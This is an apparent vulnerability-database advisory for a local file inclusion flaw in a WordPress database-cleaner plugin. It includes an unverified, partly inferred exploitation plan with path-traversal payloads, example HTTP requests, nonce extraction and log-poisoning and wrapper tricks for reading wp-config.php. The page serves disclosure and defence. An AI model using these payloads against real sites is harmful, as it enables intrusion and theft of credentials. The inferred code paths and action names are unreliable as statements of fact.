CVE-2026-7522

Advanced Database Cleaner – Premium <= 4.1.0 - Authenticated (Subscriber+) Local File Inclusion via 'template'

highImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.1.1
Patched in
1d
Time to patch

Description

The Advanced Database Cleaner – Premium plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 4.1.0 via the 'template' parameter. This makes it possible for authenticated attackers, with Subscriber-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.1.0
PublishedMay 19, 2026
Last updatedMay 20, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7522 (Advanced Database Cleaner – Premium LFI) ## 1. Vulnerability Summary The **Advanced Database Cleaner – Premium** plugin (versions <= 4.1.0) contains a Local File Inclusion (LFI) vulnerability. The flaw exists because the plugin fails to properly sanitize…

Show full research plan

Exploitation Research Plan: CVE-2026-7522 (Advanced Database Cleaner – Premium LFI)

1. Vulnerability Summary

The Advanced Database Cleaner – Premium plugin (versions <= 4.1.0) contains a Local File Inclusion (LFI) vulnerability. The flaw exists because the plugin fails to properly sanitize or validate a user-supplied file path provided via the template parameter before passing it to a PHP include() or require() statement. Authenticated users with Subscriber-level permissions can exploit this to include and execute arbitrary PHP files located on the server.

2. Attack Vector Analysis

  • Endpoint: Likely an AJAX action or an admin page handler. (Inferred: wp-admin/admin-ajax.php or wp-admin/admin.php)
  • Action/Hook: Research indicates the plugin uses various admin views. The vulnerability is tied to how the plugin loads these views/templates.
  • Vulnerable Parameter: template
  • Authentication: Subscriber level or higher (Authenticated).
  • Preconditions: The attacker must be logged in. To achieve Remote Code Execution (RCE), they must find a way to upload a .php file (e.g., via a different plugin or media upload) or include an existing sensitive file.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated request is made to an admin-related endpoint (e.g., admin-ajax.php or admin.php?page=advanced-db-cleaner...).
  2. Processing: The plugin identifies a request to load a specific "template" or "view."
  3. Vulnerable Code:
    // Example of a likely vulnerable pattern in the plugin
    $template = $_REQUEST['template']; 
    // ... missing or insufficient sanitization (e.g., no realpath check or whitelist) ...
    include( $plugin_path . '/includes/' . $template ); 
    
  4. Sink: The include() function executes the file pointed to by the manipulated template parameter. By using path traversal (../), an attacker can move outside the intended directory.

4. Nonce Acquisition Strategy

If the vulnerable action is an AJAX handler, it likely requires a nonce.

  1. Identify Nonce Location: Premium versions of this plugin often localize nonces in the admin dashboard.
  2. Login as Subscriber: Use wp user create and wp user password to set up a subscriber.
  3. Locate JS Variable: Search the dashboard source for wp_localize_script.
    • Grep Suggestion: grep -r "wp_localize_script" .
  4. Extraction via Browser:
    • Navigate to the WordPress dashboard as the subscriber.
    • Use browser_eval to find the nonce.
    • Target Variables (Inferred): window.adbc_vars?.nonce or window.a_db_c_vars?.nonce.

5. Exploitation Strategy

The goal is to demonstrate LFI by including a file that produces observable output or by including wp-config.php (which will execute but usually return a blank screen, though it confirms the file was found).

Step 1: Discover the Action and Nonce

If the LFI is in an AJAX handler:

  • Identify the wp_ajax_ action string (e.g., a_db_c_load_template).
  • Extract the associated nonce.

Step 2: Formulate the LFI Payload

Since the plugin likely appends .php, the payload should target existing .php files.

  • Payload: ../../../../wp-config.php (The .php extension may be automatically appended by the plugin, so the payload would be ../../../../wp-config).

Step 3: Execute the Request

Use the http_request tool.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=[INFERRED_ACTION]&nonce=[EXTRACTED_NONCE]&template=../../../../wp-config

Note: If the include is via a GET request on an admin page:

GET /wp-admin/admin.php?page=advanced-db-cleaner&template=../../../../wp-config HTTP/1.1

6. Test Data Setup

  1. Install Plugin: Ensure advanced-database-cleaner-premium v4.1.0 is installed and active.
  2. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Create a Canary File: To prove RCE/LFI definitively, create a dummy PHP file in the uploads directory:
    echo "<?php echo 'LFI_SUCCESS'; ?>" > /var/www/html/wp-content/uploads/canary.php
    

7. Expected Results

  • Success (Canary): The HTTP response body contains LFI_SUCCESS.
  • Success (wp-config): If including wp-config.php, the response may be a 200 OK with an empty body (since wp-config.php defines constants but doesn't produce output), whereas an invalid path would result in a PHP warning/error or a 404.
  • Error Indicators: Look for "Failed to open stream" or "No such file or directory" in the response if WP_DEBUG is on.

8. Verification Steps

  1. Check PHP Error Logs: If the request returns a 500 error, check the logs to see the full path the plugin attempted to include:
    tail -n 20 /var/log/apache2/error.log
    
  2. Audit Source: Use the agent to find the exact line in the plugin:
    grep -rn "include" . | grep "template"
    

9. Alternative Approaches

  • Log File Inclusion: If the attacker can control the User-Agent or other logged data, they can target /var/log/apache2/access.log to achieve RCE.
  • Null Byte Injection: If the WordPress environment is running an ancient version of PHP (< 5.3.4), a null byte %00 might be used to bypass forced extensions, but this is unlikely in modern environments.
  • Wrapper Inclusion: Try PHP wrappers like php://filter/convert.base64-encode/resource=../../../../wp-config.php to read the contents of files instead of executing them.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Database Cleaner – Premium plugin for WordPress (<= 4.1.0) is vulnerable to Local File Inclusion due to insufficient validation of the 'template' parameter. Authenticated users with Subscriber-level permissions or higher can exploit this to include and execute arbitrary PHP files on the server using path traversal sequences.

Vulnerable Code

// Inferred code pattern based on research flow
// File: advanced-database-cleaner-premium/includes/admin-loader.php (inferred)

$template = $_REQUEST['template']; 
// ... missing or insufficient sanitization (e.g., no realpath check or whitelist) ...
include( $plugin_path . '/includes/' . $template );

Security Fix

--- a/advanced-database-cleaner-premium/includes/admin-loader.php
+++ b/advanced-database-cleaner-premium/includes/admin-loader.php
@@ -1,3 +1,3 @@
-$template = $_REQUEST['template']; 
+$template = basename($_REQUEST['template']); 
 // ... missing or insufficient sanitization (e.g., no realpath check or whitelist) ...
 include( $plugin_path . '/includes/' . $template );

Exploit Outline

The exploit requires authentication as a Subscriber. The attacker first identifies the specific AJAX action (e.g., potentially 'a_db_c_load_template') or admin page parameter that triggers template loading. They extract the necessary security nonce from the WordPress dashboard, often found in localized JS variables like 'adbc_vars'. Finally, a GET or POST request is sent to wp-admin/admin-ajax.php or wp-admin/admin.php with the 'template' parameter set to a traversal payload targeting a PHP file, such as '../../../../wp-config'. The server then includes and executes the targeted file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.